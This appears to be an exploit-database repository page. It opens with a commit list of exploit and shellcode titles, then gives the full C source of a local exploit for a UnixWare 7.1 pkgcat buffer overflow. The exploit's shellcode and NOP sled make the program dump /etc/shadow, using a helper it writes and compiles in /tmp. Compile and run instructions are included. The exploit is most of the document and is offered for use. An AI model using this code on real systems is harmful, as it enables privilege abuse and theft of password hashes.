880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
97 lines
No EOL
2.3 KiB
C
97 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/853/info
|
|
|
|
It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in /etc/security/tcb/privs give them the ability read /etc/shadow. When the oversized buffer data is passed to the programs as argv[1], the stack will be corrupted and it is possible to spawn a program which would "cat" /etc/shadow with the dacread privs.
|
|
|
|
/**
|
|
** UnixWare 7.1 /usr/sbin/pkgcat exploit
|
|
|
|
** Prints contents of /etc/shadow (execing shell won't be enough here)
|
|
** Demonstrates overflow in uw71's gethostbyname() and dacread permissio
|
|
n
|
|
** problems. Use offsets of +-100.
|
|
**
|
|
** Compile cc -o uwpkgcat uwpkgcat.c
|
|
** run /usr/sbin/pkgcat -s `./uwpkgcat 100`:
|
|
**
|
|
** Brock Tellier btellier@usa.net
|
|
**/
|
|
|
|
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
|
|
char scoshell[]=
|
|
|
|
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
|
|
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
|
|
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
|
|
|
|
|
|
|
|
#define LEN 3500
|
|
#define NOP 0x90
|
|
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"
|
|
|
|
void buildpi() {
|
|
FILE *fp;
|
|
char cc[100];
|
|
fp = fopen("/tmp/pi.c", "w");
|
|
fprintf(fp, CODE);
|
|
fclose(fp);
|
|
snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
|
|
system(cc);
|
|
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
|
|
long int offset=0;
|
|
|
|
int i;
|
|
int buflen = LEN;
|
|
long int addr;
|
|
char buf[LEN];
|
|
buildpi();
|
|
|
|
if(argc > 3) {
|
|
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
|
|
exit(0);
|
|
|
|
}
|
|
else if (argc == 2){
|
|
offset=atoi(argv[1]);
|
|
|
|
|
|
}
|
|
else if (argc == 3) {
|
|
offset=atoi(argv[1]);
|
|
buflen=atoi(argv[2]);
|
|
|
|
|
|
|
|
}
|
|
else {
|
|
offset=100;
|
|
buflen=3000;
|
|
|
|
}
|
|
|
|
|
|
|
|
addr=0x8046b75 + offset;
|
|
|
|
fprintf(stderr, "\nUnixWare 7.1 pkgcat exploit prints");
|
|
fprintf(stderr, "/etc/shadow\n");
|
|
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
|
|
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
|
|
|
|
memset(buf,NOP,buflen);
|
|
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
|
|
for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
|
|
*(int *)&buf[i]=addr;
|
|
buf[buflen - 1] = ':';
|
|
|
|
printf(buf);
|
|
exit(0);
|
|
} |